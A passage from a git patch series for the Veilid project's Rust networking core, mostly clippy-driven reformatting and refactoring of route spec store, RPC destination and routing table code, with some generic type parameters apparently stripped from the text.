Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { + let our_node_info_ts = self + .unlocked_inner + .routing_table + .get_own_node_info_ts(RoutingDomain::PublicInternet); return rpri.has_seen_our_node_info_ts(our_node_info_ts); } } @@ -1404,7 +1500,10 @@ impl RouteSpecStore { key: &PublicKey, cur_ts: Timestamp, ) -> EyreResult<()> { - let our_node_info_ts = self.unlocked_inner.routing_table.get_own_node_info_ts(RoutingDomain::PublicInternet); + let our_node_info_ts = self + .unlocked_inner + .routing_table + .get_own_node_info_ts(RoutingDomain::PublicInternet); let inner = &mut *self.inner.lock(); @@ -1416,8 +1515,7 @@ impl RouteSpecStore { } if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) - { + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { rpri.set_last_seen_our_node_info_ts(our_node_info_ts); return Ok(()); } @@ -1434,7 +1532,11 @@ impl RouteSpecStore { let inner = &mut *self.inner.lock(); // Check for stub route - if self.unlocked_inner.routing_table.matches_own_node_id_key(key) { + if self + .unlocked_inner + .routing_table + .matches_own_node_id_key(key) + { return None; } @@ -1447,8 +1549,7 @@ impl RouteSpecStore { // Check for remote route if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) - { + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { return Some(f(rpri.get_stats_mut())); } } @@ -1493,22 +1594,21 @@ impl RouteSpecStore { /// Convert private route list to binary blob pub fn private_routes_to_blob(private_routes: &[PrivateRoute]) -> EyreResult> { - let mut buffer = vec![]; - // Serialize count + // Serialize count let pr_count = private_routes.len(); if pr_count > MAX_CRYPTO_KINDS { bail!("too many crypto kinds to encode blob"); } let pr_count = pr_count as u8; buffer.push(pr_count); - + // Serialize stream of private routes for private_route in private_routes { let mut pr_message = ::capnp::message::Builder::new_default(); let mut pr_builder = pr_message.init_root::(); - + encode_private_route(private_route, &mut pr_builder) .wrap_err("failed to encode private route")?; @@ -1521,7 +1621,6 @@ impl RouteSpecStore { /// Convert binary blob to private route pub fn blob_to_private_routes(crypto: Crypto, blob: Vec) -> EyreResult> { - // Deserialize count if blob.is_empty() { bail!("not deserializing empty private route blob"); @@ -1547,16 +1646,17 @@ impl RouteSpecStore { .get_root::() .map_err(RPCError::internal) .wrap_err("failed to make reader for private_route")?; - let private_route = decode_private_route(&pr_reader).wrap_err("failed to decode private route")?; - private_route.validate(crypto.clone()).wrap_err("failed to validate private route")?; + let private_route = + decode_private_route(&pr_reader).wrap_err("failed to decode private route")?; + private_route + .validate(crypto.clone()) + .wrap_err("failed to validate private route")?; out.push(private_route); } - + // Don't trust the order of the blob - out.sort_by(|a,b| { - a.public_key.cmp(&b.public_key) - }); + out.sort_by(|a, b| a.public_key.cmp(&b.public_key)); Ok(out) } @@ -1565,13 +1665,15 @@ impl RouteSpecStore { fn generate_allocated_route_id(&self, rssd: &RouteSetSpecDetail) -> EyreResult { let route_set_keys = rssd.get_route_set_keys(); let crypto = self.unlocked_inner.routing_table.crypto(); - + let mut idbytes = Vec::with_capacity(PUBLIC_KEY_LENGTH * route_set_keys.len()); - let mut best_kind : Option = None; + let mut best_kind: Option = None; for tk in route_set_keys.iter() { - if best_kind.is_none() || compare_crypto_kind(&tk.kind, best_kind.as_ref().unwrap()) == cmp::Ordering::Less { + if best_kind.is_none() + || compare_crypto_kind(&tk.kind, best_kind.as_ref().unwrap()) == cmp::Ordering::Less + { best_kind = Some(tk.kind); - } + } idbytes.extend_from_slice(&tk.value.bytes); } let Some(best_kind) = best_kind else { @@ -1580,19 +1682,21 @@ impl RouteSpecStore { let vcrypto = crypto.get(best_kind).unwrap(); Ok(RouteId::new(vcrypto.generate_hash(&idbytes).bytes)) - } /// Generate RouteId from set of private routes fn generate_remote_route_id(&self, private_routes: &[PrivateRoute]) -> EyreResult { let crypto = self.unlocked_inner.routing_table.crypto(); - + let mut idbytes = Vec::with_capacity(PUBLIC_KEY_LENGTH * private_routes.len()); - let mut best_kind : Option = None; + let mut best_kind: Option = None; for private_route in private_routes { - if best_kind.is_none() || compare_crypto_kind(&private_route.public_key.kind, best_kind.as_ref().unwrap()) == cmp::Ordering::Less { + if best_kind.is_none() + || compare_crypto_kind(&private_route.public_key.kind, best_kind.as_ref().unwrap()) + == cmp::Ordering::Less + { best_kind = Some(private_route.public_key.kind); - } + } idbytes.extend_from_slice(&private_route.public_key.value.bytes); } let Some(best_kind) = best_kind else { @@ -1602,5 +1706,4 @@ impl RouteSpecStore { Ok(RouteId::new(vcrypto.generate_hash(&idbytes).bytes)) } - } diff --git a/veilid-core/src/routing_table/route_spec_store/route_spec_store_cache.rs b/veilid-core/src/routing_table/route_spec_store/route_spec_store_cache.rs index 1ad861a8..e7e44bbf 100644 --- a/veilid-core/src/routing_table/route_spec_store/route_spec_store_cache.rs +++ b/veilid-core/src/routing_table/route_spec_store/route_spec_store_cache.rs @@ -144,7 +144,7 @@ impl RouteSpecStoreCache { // also store in id by key table for private_route in rprinfo.get_private_routes() { self.remote_private_routes_by_key - .insert(private_route.public_key.value, id.clone()); + .insert(private_route.public_key.value, id); } let mut dead = None; diff --git a/veilid-core/src/routing_table/route_spec_store/route_spec_store_content.rs b/veilid-core/src/routing_table/route_spec_store/route_spec_store_content.rs index e1d003e3..d41a70fa 100644 --- a/veilid-core/src/routing_table/route_spec_store/route_spec_store_content.rs +++ b/veilid-core/src/routing_table/route_spec_store/route_spec_store_content.rs @@ -29,18 +29,20 @@ impl RouteSpecStoreContent { for (rsid, rssd) in content.details.iter_mut() { // Get best route since they all should resolve let Some(pk) = rssd.get_best_route_set_key() else { - dead_ids.push(rsid.clone()); + dead_ids.push(*rsid); continue; }; let Some(rsd) = rssd.get_route_by_key(&pk) else { - dead_ids.push(rsid.clone()); + dead_ids.push(*rsid); continue; }; // Go through best route and resolve noderefs let mut hop_node_refs = Vec::with_capacity(rsd.hops.len()); for h in &rsd.hops { - let Ok(Some(nr)) = routing_table.lookup_node_ref(TypedKey::new(rsd.crypto_kind, *h)) else { - dead_ids.push(rsid.clone()); + let Ok(Some(nr)) = + routing_table.lookup_node_ref(TypedKey::new(rsd.crypto_kind, *h)) + else { + dead_ids.push(*rsid); break; }; hop_node_refs.push(nr); @@ -72,14 +74,14 @@ impl RouteSpecStoreContent { // also store in id by key table for (pk, _) in detail.iter_route_set() { - self.id_by_key.insert(*pk, id.clone()); + self.id_by_key.insert(*pk, id); } - self.details.insert(id.clone(), detail); + self.details.insert(id, detail); } pub fn remove_detail(&mut self, id: &RouteId) -> Option { let detail = self.details.remove(id)?; for (pk, _) in detail.iter_route_set() { - self.id_by_key.remove(&pk).unwrap(); + self.id_by_key.remove(pk).unwrap(); } Some(detail) } @@ -106,7 +108,7 @@ impl RouteSpecStoreContent { /// Resets publication status and statistics for when our node info changes /// Routes must be republished pub fn reset_details(&mut self) { - for (_k, v) in &mut self.details { + for v in self.details.values_mut() { // Must republish route now v.set_published(false); // Restart stats for routes so we test the route again diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index df7c7036..def1f219 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -276,7 +276,7 @@ fn first_filtered_dial_info_detail_between_nodes( to_node: &NodeInfo, dial_info_filter: &DialInfoFilter, sequencing: Sequencing, - dif_sort: Option core::cmp::Ordering>> + dif_sort: Option> ) -> Option { let dial_info_filter = dial_info_filter.clone().filtered( &DialInfoFilter::all() @@ -289,7 +289,7 @@ fn first_filtered_dial_info_detail_between_nodes( // based on an external preference table, for example the one kept by // AddressFilter to deprioritize dialinfo that have recently failed to connect let (ordered, dial_info_filter) = dial_info_filter.with_sequencing(sequencing); - let sort: Option core::cmp::Ordering>> = if ordered { + let sort: Option> = if ordered { if let Some(dif_sort) = dif_sort { Some(Box::new(move |a, b| { let mut ord = dif_sort(a,b); @@ -582,7 +582,7 @@ impl RoutingDomainDetail for LocalNetworkRoutingDomainDetail { // based on an external preference table, for example the one kept by // AddressFilter to deprioritize dialinfo that have recently failed to connect let (ordered, dial_info_filter) = dial_info_filter.with_sequencing(sequencing); - let sort: Option core::cmp::Ordering>> = if ordered { + let sort: Option> = if ordered { if let Some(dif_sort) = dif_sort { Some(Box::new(move |a, b| { let mut ord = dif_sort(a,b); diff --git a/veilid-core/src/routing_table/routing_table_inner.rs b/veilid-core/src/routing_table/routing_table_inner.rs index 36460be9..eb0f9820 100644 --- a/veilid-core/src/routing_table/routing_table_inner.rs +++ b/veilid-core/src/routing_table/routing_table_inner.rs @@ -227,7 +227,7 @@ impl RoutingTableInner { peer_b: &PeerInfo, dial_info_filter: DialInfoFilter, sequencing: Sequencing, - dif_sort: Option core::cmp::Ordering>>, + dif_sort: Option>, ) -> ContactMethod { self.with_routing_domain(routing_domain, |rdd| { rdd.get_contact_method(self, peer_a, peer_b, dial_info_filter, sequencing, dif_sort) diff --git a/veilid-core/src/routing_table/tasks/bootstrap.rs b/veilid-core/src/routing_table/tasks/bootstrap.rs index 0f89655e..e69a0524 100644 --- a/veilid-core/src/routing_table/tasks/bootstrap.rs +++ b/veilid-core/src/routing_table/tasks/bootstrap.rs @@ -46,7 +46,7 @@ impl RoutingTable { // Envelope support let mut envelope_support = Vec::new(); - for ess in records[1].split(",") { + for ess in records[1].split(',') { let ess = ess.trim(); let es = match ess.parse::() { Ok(v) => v, @@ -64,9 +64,9 @@ impl RoutingTable { // Node Id let mut node_ids = TypedKeyGroup::new(); - for node_id_str in records[2].split(",") { + for node_id_str in records[2].split(',') { let node_id_str = node_id_str.trim(); - let node_id = match TypedKey::from_str(&node_id_str) { + let node_id = match TypedKey::from_str(node_id_str) { Ok(v) => v, Err(e) => { bail!( @@ -89,7 +89,7 @@ impl RoutingTable { // Resolve each record and store in node dial infos list let mut dial_info_details = Vec::new(); - for rec in records[4].split(",") { + for rec in records[4].split(',') { let rec = rec.trim(); let dial_infos = match DialInfo::try_vec_from_short(rec, hostname_str) { Ok(dis) => dis, @@ -321,7 +321,7 @@ impl RoutingTable { // See if we are specifying a direct dialinfo for bootstrap, if so use the direct mechanism let mut bootstrap_dialinfos = Vec::::new(); for b in &bootstrap { - if let Ok(bootstrap_di_vec) = DialInfo::try_vec_from_url(&b) { + if let Ok(bootstrap_di_vec) = DialInfo::try_vec_from_url(b) { for bootstrap_di in bootstrap_di_vec { bootstrap_dialinfos.push(bootstrap_di); } diff --git a/veilid-core/src/routing_table/tasks/ping_validator.rs b/veilid-core/src/routing_table/tasks/ping_validator.rs index bfc2fb24..54119ae3 100644 --- a/veilid-core/src/routing_table/tasks/ping_validator.rs +++ b/veilid-core/src/routing_table/tasks/ping_validator.rs @@ -8,6 +8,9 @@ use futures_util::stream::{FuturesUnordered, StreamExt}; use futures_util::FutureExt; use stop_token::future::FutureExt as StopFutureExt; +type PingValidatorFuture = + SendPinBoxFuture>>, RPCError>>; + impl RoutingTable { // Ping each node in the routing table if they need to be pinged // to determine their reliability @@ -16,9 +19,7 @@ impl RoutingTable { &self, cur_ts: Timestamp, relay_nr: NodeRef, - unord: &mut FuturesUnordered< - SendPinBoxFuture>>, RPCError>>, - >, + unord: &mut FuturesUnordered, ) -> EyreResult<()> { let rpc = self.rpc_processor(); // Get our publicinternet dial info @@ -123,9 +124,7 @@ impl RoutingTable { async fn ping_validator_public_internet( &self, cur_ts: Timestamp, - unord: &mut FuturesUnordered< - SendPinBoxFuture>>, RPCError>>, - >, + unord: &mut FuturesUnordered, ) -> EyreResult<()> { let rpc = self.rpc_processor(); @@ -161,9 +160,7 @@ impl RoutingTable { async fn ping_validator_local_network( &self, cur_ts: Timestamp, - unord: &mut FuturesUnordered< - SendPinBoxFuture>>, RPCError>>, - >, + unord: &mut FuturesUnordered, ) -> EyreResult<()> { let rpc = self.rpc_processor(); diff --git a/veilid-core/src/rpc_processor/coders/private_safety_route.rs b/veilid-core/src/rpc_processor/coders/private_safety_route.rs index 504b308d..0ea04ea3 100644 --- a/veilid-core/src/rpc_processor/coders/private_safety_route.rs +++ b/veilid-core/src/rpc_processor/coders/private_safety_route.rs @@ -76,10 +76,10 @@ pub fn decode_route_hop(reader: &veilid_capnp::route_hop::Reader) -> Result { let pi_reader = pi.map_err(RPCError::protocol)?; - RouteNode::PeerInfo( + RouteNode::PeerInfo(Box::new( decode_peer_info(&pi_reader) .map_err(RPCError::map_protocol("invalid peer info in route hop"))?, - ) + )) } }; @@ -134,7 +134,7 @@ pub fn decode_private_route( let hops = match reader.get_hops().which().map_err(RPCError::protocol)? { veilid_capnp::private_route::hops::Which::FirstHop(rh_reader) => { let rh_reader = rh_reader.map_err(RPCError::protocol)?; - PrivateRouteHops::FirstHop(decode_route_hop(&rh_reader)?) + PrivateRouteHops::FirstHop(Box::new(decode_route_hop(&rh_reader)?)) } veilid_capnp::private_route::hops::Which::Data(rhd_reader) => { let rhd_reader = rhd_reader.map_err(RPCError::protocol)?; diff --git a/veilid-core/src/rpc_processor/destination.rs b/veilid-core/src/rpc_processor/destination.rs index 1ba68fec..3431036e 100644 --- a/veilid-core/src/rpc_processor/destination.rs +++ b/veilid-core/src/rpc_processor/destination.rs @@ -181,10 +181,17 @@ impl RPCProcessor { // Sent directly but with a safety route, respond to private route let crypto_kind = target.best_node_id().kind; let Some(pr_key) = rss - .get_private_route_for_safety_spec(crypto_kind, safety_spec, &target.node_ids()) - .map_err(RPCError::internal)? else { - return Ok(NetworkResult::no_connection_other("no private route for response at this time")); - }; + .get_private_route_for_safety_spec( + crypto_kind, + safety_spec, + &target.node_ids(), + ) + .map_err(RPCError::internal)? + else { + return Ok(NetworkResult::no_connection_other( + "no private route for response at this time", + )); + }; // Get the assembled route for response let private_route = rss @@ -211,9 +218,12 @@ impl RPCProcessor { avoid_nodes.add_all(&target.node_ids()); let Some(pr_key) = rss .get_private_route_for_safety_spec(crypto_kind, safety_spec, &avoid_nodes) - .map_err(RPCError::internal)? else { - return Ok(NetworkResult::no_connection_other("no private route for response at this time")); - }; + .map_err(RPCError::internal)? + else { + return Ok(NetworkResult::no_connection_other( + "no private route for response at this time", + )); + }; // Get the assembled route for response let private_route = rss @@ -228,7 +238,9 @@ impl RPCProcessor { safety_selection, } => { let Some(avoid_node_id) = private_route.first_hop_node_id() else { - return Err(RPCError::internal("destination private route must have first hop")); + return Err(RPCError::internal( + "destination private route must have first hop", + )); }; let crypto_kind = private_route.public_key.kind; @@ -250,7 +262,7 @@ impl RPCProcessor { } else { let own_peer_info = routing_table.get_own_peer_info(RoutingDomain::PublicInternet); - RouteNode::PeerInfo(own_peer_info) + RouteNode::PeerInfo(Box::new(own_peer_info)) }; Ok(NetworkResult::value(RespondTo::PrivateRoute( @@ -271,10 +283,17 @@ impl RPCProcessor { } else { // Get the private route to respond to that matches the safety route spec we sent the request with let Some(pr_key) = rss - .get_private_route_for_safety_spec(crypto_kind, safety_spec, &[avoid_node_id]) - .map_err(RPCError::internal)? else { - return Ok(NetworkResult::no_connection_other("no private route for response at this time")); - }; + .get_private_route_for_safety_spec( + crypto_kind, + safety_spec, + &[avoid_node_id], + ) + .map_err(RPCError::internal)? + else { + return Ok(NetworkResult::no_connection_other( + "no private route for response at this time", + )); + }; pr_key }; diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index fbcf2bf2..9c71d396 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -812,7 +812,7 @@ impl RPCProcessor { }; let private_route = PrivateRoute::new_stub( destination_node_ref.best_node_id(), - RouteNode::PeerInfo(peer_info), + RouteNode::PeerInfo(Box::new(peer_info)), ); // Wrap with safety route From c7d4462e0ed8cccc9bbb978527da606007b33dd1 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 22:12:25 -0400 Subject: [PATCH 56/86] more clippy --- veilid-core/src/routing_table/privacy.rs | 6 +- .../src/routing_table/route_spec_store/mod.rs | 1711 ++++++++++++++++- .../route_spec_store/route_spec_store.rs | 1709 ---------------- .../src/routing_table/routing_domains.rs | 5 +- .../src/routing_table/routing_table_inner.rs | 22 +- .../tests/test_serialize_routing_table.rs | 4 +- .../src/rpc_processor/coders/node_info.rs | 6 +- .../rpc_processor/coders/operations/answer.rs | 44 +- .../coders/operations/operation.rs | 20 +- .../coders/operations/operation_set_value.rs | 2 +- .../coders/operations/operation_status.rs | 6 +- .../operations/operation_watch_value.rs | 4 +- .../coders/operations/question.rs | 44 +- .../coders/operations/statement.rs | 24 +- .../src/rpc_processor/coders/peer_info.rs | 2 +- .../coders/private_safety_route.rs | 4 +- veilid-core/src/rpc_processor/destination.rs | 10 +- veilid-core/src/rpc_processor/fanout_call.rs | 9 +- veilid-core/src/rpc_processor/mod.rs | 8 +- veilid-core/src/rpc_processor/rpc_app_call.rs | 9 +- .../src/rpc_processor/rpc_app_message.rs | 2 +- veilid-core/src/rpc_processor/rpc_error.rs | 2 +- .../src/rpc_processor/rpc_find_node.rs | 12 +- .../src/rpc_processor/rpc_get_value.rs | 4 +- .../src/rpc_processor/rpc_return_receipt.rs | 3 +- veilid-core/src/rpc_processor/rpc_route.rs | 226 ++- .../src/rpc_processor/rpc_set_value.rs | 4 +- veilid-core/src/rpc_processor/rpc_signal.rs | 2 +- veilid-core/src/rpc_processor/rpc_status.rs | 9 +- .../rpc_processor/rpc_validate_dial_info.rs | 9 +- veilid-core/src/storage_manager/debug.rs | 4 +- .../src/storage_manager/limited_size.rs | 4 +- veilid-core/src/storage_manager/mod.rs | 26 +- .../src/storage_manager/record_store.rs | 62 +- .../storage_manager/storage_manager_inner.rs | 88 +- .../types/signed_value_data.rs | 4 +- .../src/table_store/tests/test_table_store.rs | 14 +- 37 files changed, 2108 insertions(+), 2016 deletions(-) delete mode 100644 veilid-core/src/routing_table/route_spec_store/route_spec_store.rs diff --git a/veilid-core/src/routing_table/privacy.rs b/veilid-core/src/routing_table/privacy.rs index baac0ee9..d2570ef9 100644 --- a/veilid-core/src/routing_table/privacy.rs +++ b/veilid-core/src/routing_table/privacy.rs @@ -177,10 +177,10 @@ impl PrivateRoute { None => PrivateRouteHops::Empty, }; - return Some(first_hop_node); + Some(first_hop_node) } - PrivateRouteHops::Data(_) => return None, - PrivateRouteHops::Empty => return None, + PrivateRouteHops::Data(_) => None, + PrivateRouteHops::Empty => None, } } diff --git a/veilid-core/src/routing_table/route_spec_store/mod.rs b/veilid-core/src/routing_table/route_spec_store/mod.rs index 618da7f8..3f1f19fb 100644 --- a/veilid-core/src/routing_table/route_spec_store/mod.rs +++ b/veilid-core/src/routing_table/route_spec_store/mod.rs @@ -3,20 +3,20 @@ use super::*; mod permutation; mod remote_private_route_info; mod route_set_spec_detail; -mod route_spec_store; mod route_spec_store_cache; mod route_spec_store_content; mod route_stats; pub use remote_private_route_info::*; pub use route_set_spec_detail::*; -pub use route_spec_store::*; pub use route_spec_store_cache::*; pub use route_spec_store_content::*; pub use route_stats::*; use crate::veilid_api::*; +use permutation::*; + /// The size of the remote private route cache const REMOTE_PRIVATE_ROUTE_CACHE_SIZE: usize = 1024; /// Remote private route cache entries expire in 5 minutes if they haven't been used @@ -25,3 +25,1710 @@ const REMOTE_PRIVATE_ROUTE_CACHE_EXPIRY: TimestampDuration = TimestampDuration:: const ROUTE_MIN_IDLE_TIME_MS: u32 = 30_000; /// The size of the compiled route cache const COMPILED_ROUTE_CACHE_SIZE: usize = 256; + +#[derive(Debug)] +pub struct RouteSpecStoreInner { + /// Serialize RouteSpecStore content + content: RouteSpecStoreContent, + /// RouteSpecStore cache + cache: RouteSpecStoreCache, +} + +pub struct RouteSpecStoreUnlockedInner { + /// Handle to routing table + routing_table: RoutingTable, + /// Maximum number of hops in a route + max_route_hop_count: usize, + /// Default number of hops in a route + default_route_hop_count: usize, +} + +impl fmt::Debug for RouteSpecStoreUnlockedInner { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("RouteSpecStoreUnlockedInner") + .field("max_route_hop_count", &self.max_route_hop_count) + .field("default_route_hop_count", &self.default_route_hop_count) + .finish() + } +} + +/// The routing table's storage for private/safety routes +#[derive(Clone, Debug)] +pub struct RouteSpecStore { + inner: Arc>, + unlocked_inner: Arc, +} + +impl RouteSpecStore { + pub fn new(routing_table: RoutingTable) -> Self { + let config = routing_table.network_manager().config(); + let c = config.get(); + + Self { + unlocked_inner: Arc::new(RouteSpecStoreUnlockedInner { + max_route_hop_count: c.network.rpc.max_route_hop_count.into(), + default_route_hop_count: c.network.rpc.default_route_hop_count.into(), + routing_table, + }), + inner: Arc::new(Mutex::new(RouteSpecStoreInner { + content: RouteSpecStoreContent::new(), + cache: Default::default(), + })), + } + } + + #[instrument(level = "trace", skip(routing_table), err)] + pub async fn load(routing_table: RoutingTable) -> EyreResult { + let (max_route_hop_count, default_route_hop_count) = { + let config = routing_table.network_manager().config(); + let c = config.get(); + ( + c.network.rpc.max_route_hop_count as usize, + c.network.rpc.default_route_hop_count as usize, + ) + }; + + // Get frozen blob from table store + let content = RouteSpecStoreContent::load(routing_table.clone()).await?; + + let mut inner = RouteSpecStoreInner { + content, + cache: Default::default(), + }; + + // Rebuild the routespecstore cache + let rti = &*routing_table.inner.read(); + for (_, rssd) in inner.content.iter_details() { + inner.cache.add_to_cache(rti, rssd); + } + + // Return the loaded RouteSpecStore + let rss = RouteSpecStore { + unlocked_inner: Arc::new(RouteSpecStoreUnlockedInner { + max_route_hop_count, + default_route_hop_count, + routing_table: routing_table.clone(), + }), + inner: Arc::new(Mutex::new(inner)), + }; + + Ok(rss) + } + + #[instrument(level = "trace", skip(self), err)] + pub async fn save(&self) -> EyreResult<()> { + let content = { + let inner = self.inner.lock(); + inner.content.clone() + }; + + // Save our content + content + .save(self.unlocked_inner.routing_table.clone()) + .await?; + + Ok(()) + } + + #[instrument(level = "trace", skip(self))] + pub fn send_route_update(&self) { + let (dead_routes, dead_remote_routes) = { + let mut inner = self.inner.lock(); + let Some(dr) = inner.cache.take_dead_routes() else { + // Nothing to do + return; + }; + dr + }; + + let update = VeilidUpdate::RouteChange(VeilidRouteChange { + dead_routes, + dead_remote_routes, + }); + + let update_callback = self.unlocked_inner.routing_table.update_callback(); + update_callback(update); + } + + /// Purge the route spec store + pub async fn purge(&self) -> EyreResult<()> { + { + let inner = &mut *self.inner.lock(); + inner.content = Default::default(); + inner.cache = Default::default(); + } + self.save().await + } + + /// Create a new route + /// Prefers nodes that are not currently in use by another route + /// The route is not yet tested for its reachability + /// Returns None if no route could be allocated at this time + /// Returns Some route id string + #[instrument(level = "trace", skip(self), ret, err)] + pub fn allocate_route( + &self, + crypto_kinds: &[CryptoKind], + stability: Stability, + sequencing: Sequencing, + hop_count: usize, + directions: DirectionSet, + avoid_nodes: &[TypedKey], + ) -> EyreResult> { + let inner = &mut *self.inner.lock(); + let routing_table = self.unlocked_inner.routing_table.clone(); + let rti = &mut *routing_table.inner.write(); + + self.allocate_route_inner( + inner, + rti, + crypto_kinds, + stability, + sequencing, + hop_count, + directions, + avoid_nodes, + ) + } + + #[instrument(level = "trace", skip(self, inner, rti), ret, err)] + #[allow(clippy::too_many_arguments)] + fn allocate_route_inner( + &self, + inner: &mut RouteSpecStoreInner, + rti: &mut RoutingTableInner, + crypto_kinds: &[CryptoKind], + stability: Stability, + sequencing: Sequencing, + hop_count: usize, + directions: DirectionSet, + avoid_nodes: &[TypedKey], + ) -> EyreResult> { + use core::cmp::Ordering; + + if hop_count < 1 { + bail!("Not allocating route less than one hop in length"); + } + + if hop_count > self.unlocked_inner.max_route_hop_count { + bail!("Not allocating route longer than max route hop count"); + } + + // Ensure we have a valid network class so our peer info is useful + if !rti.has_valid_network_class(RoutingDomain::PublicInternet) { + log_rtab!(debug "unable to allocate route until we have a valid PublicInternet network class"); + return Ok(None); + }; + + // Get our peer info + let our_peer_info = rti.get_own_peer_info(RoutingDomain::PublicInternet); + + // Get relay node if we have one + let opt_own_relay_nr = rti + .relay_node(RoutingDomain::PublicInternet) + .map(|nr| nr.locked(rti)); + + // Get list of all nodes, and sort them for selection + let cur_ts = get_aligned_timestamp(); + let filter = Box::new( + |_rti: &RoutingTableInner, entry: Option>| -> bool { + // Exclude our own node from routes + if entry.is_none() { + return false; + } + let entry = entry.unwrap(); + + // Exclude our relay if we have one + if let Some(own_relay_nr) = &opt_own_relay_nr { + if own_relay_nr.same_bucket_entry(&entry) { + return false; + } + } + + // Process node info exclusions + let keep = entry.with_inner(|e| { + // Exclude nodes that don't have our requested crypto kinds + let common_ck = e.common_crypto_kinds(crypto_kinds); + if common_ck.len() != crypto_kinds.len() { + return false; + } + + // Exclude nodes we have specifically chosen to avoid + if e.node_ids().contains_any(avoid_nodes) { + return false; + } + + // Exclude nodes on our local network + if e.node_info(RoutingDomain::LocalNetwork).is_some() { + return false; + } + + // Exclude nodes that have no publicinternet signednodeinfo + let Some(sni) = e.signed_node_info(RoutingDomain::PublicInternet) else { + return false; + }; + + // Relay check + let relay_ids = sni.relay_ids(); + if !relay_ids.is_empty() { + // Exclude nodes whose relays we have chosen to avoid + if relay_ids.contains_any(avoid_nodes) { + return false; + } + // Exclude nodes whose relay is our own relay if we have one + if let Some(own_relay_nr) = &opt_own_relay_nr { + if relay_ids.contains_any(&own_relay_nr.node_ids()) { + return false; + } + } + } + true + }); + if !keep { + return false; + } + + // Exclude nodes with no publicinternet nodeinfo, or incompatible nodeinfo or node status won't route + entry.with_inner(|e| { + e.signed_node_info(RoutingDomain::PublicInternet) + .map(|sni| { + sni.has_sequencing_matched_dial_info(sequencing) + && sni.node_info().has_capability(CAP_ROUTE) + }) + .unwrap_or(false) + }) + }, + ) as RoutingTableEntryFilter; + let filters = VecDeque::from([filter]); + let compare = |_rti: &RoutingTableInner, + entry1: &Option>, + entry2: &Option>| + -> Ordering { + // Our own node is filtered out + let entry1 = entry1.as_ref().unwrap().clone(); + let entry2 = entry2.as_ref().unwrap().clone(); + let entry1_node_ids = entry1.with_inner(|e| e.node_ids()); + let entry2_node_ids = entry2.with_inner(|e| e.node_ids()); + + // deprioritize nodes that we have already used as end points + let e1_used_end = inner.cache.get_used_end_node_count(&entry1_node_ids); + let e2_used_end = inner.cache.get_used_end_node_count(&entry2_node_ids); + let cmp_used_end = e1_used_end.cmp(&e2_used_end); + if !matches!(cmp_used_end, Ordering::Equal) { + return cmp_used_end; + } + + // deprioritize nodes we have used already anywhere + let e1_used = inner.cache.get_used_node_count(&entry1_node_ids); + let e2_used = inner.cache.get_used_node_count(&entry2_node_ids); + let cmp_used = e1_used.cmp(&e2_used); + if !matches!(cmp_used, Ordering::Equal) { + return cmp_used; + } + + // apply sequencing preference + // ensureordered will be taken care of by filter + // and nopreference doesn't care + if matches!(sequencing, Sequencing::PreferOrdered) { + let cmp_seq = entry1.with_inner(|e1| { + entry2.with_inner(|e2| { + let e1_can_do_ordered = e1 + .signed_node_info(RoutingDomain::PublicInternet) + .map(|sni| sni.has_sequencing_matched_dial_info(sequencing)) + .unwrap_or(false); + let e2_can_do_ordered = e2 + .signed_node_info(RoutingDomain::PublicInternet) + .map(|sni| sni.has_sequencing_matched_dial_info(sequencing)) + .unwrap_or(false); + e2_can_do_ordered.cmp(&e1_can_do_ordered) + }) + }); + if !matches!(cmp_seq, Ordering::Equal) { + return cmp_seq; + } + } + + // always prioritize reliable nodes, but sort by oldest or fastest + + entry1.with_inner(|e1| { + entry2.with_inner(|e2| match stability { + Stability::LowLatency => BucketEntryInner::cmp_fastest_reliable(cur_ts, e1, e2), + Stability::Reliable => BucketEntryInner::cmp_oldest_reliable(cur_ts, e1, e2), + }) + }) + }; + + let routing_table = self.unlocked_inner.routing_table.clone(); + let transform = |_rti: &RoutingTableInner, entry: Option>| -> NodeRef { + NodeRef::new(routing_table.clone(), entry.unwrap(), None) + }; + + // Pull the whole routing table in sorted order + let nodes: Vec = + rti.find_peers_with_sort_and_filter(usize::MAX, cur_ts, filters, compare, transform); + + // If we couldn't find enough nodes, wait until we have more nodes in the routing table + if nodes.len() < hop_count { + log_rtab!(debug "not enough nodes to construct route at this time"); + return Ok(None); + } + + // Get peer info for everything + let nodes_pi: Vec = nodes + .iter() + .map(|nr| { + nr.locked(rti) + .make_peer_info(RoutingDomain::PublicInternet) + .unwrap() + }) + .collect(); + + // Now go through nodes and try to build a route we haven't seen yet + let mut perm_func = Box::new(|permutation: &[usize]| { + // Get the hop cache key for a particular route permutation + // uses the same algorithm as RouteSetSpecDetail::make_cache_key + let route_permutation_to_hop_cache = + |_rti: &RoutingTableInner, nodes: &[NodeRef], perm: &[usize]| -> Vec { + let mut cache: Vec = Vec::with_capacity(perm.len() * PUBLIC_KEY_LENGTH); + for n in perm { + cache.extend_from_slice(&nodes[*n].locked(rti).best_node_id().value.bytes) + } + cache + }; + let cache_key = route_permutation_to_hop_cache(rti, &nodes, permutation); + + // Skip routes we have already seen + if inner.cache.contains_route(&cache_key) { + return None; + } + + // Ensure the route doesn't contain both a node and its relay + let mut seen_nodes: HashSet = HashSet::new(); + for n in permutation { + let node = nodes.get(*n).unwrap(); + if !seen_nodes.insert(node.locked(rti).best_node_id()) { + // Already seen this node, should not be in the route twice + return None; + } + let opt_relay = match node.locked_mut(rti).relay(RoutingDomain::PublicInternet) { + Ok(r) => r, + Err(_) => { + // Not selecting a relay through ourselves + return None; + } + }; + if let Some(relay) = opt_relay { + let relay_id = relay.locked(rti).best_node_id(); + if !seen_nodes.insert(relay_id) { + // Already seen this node, should 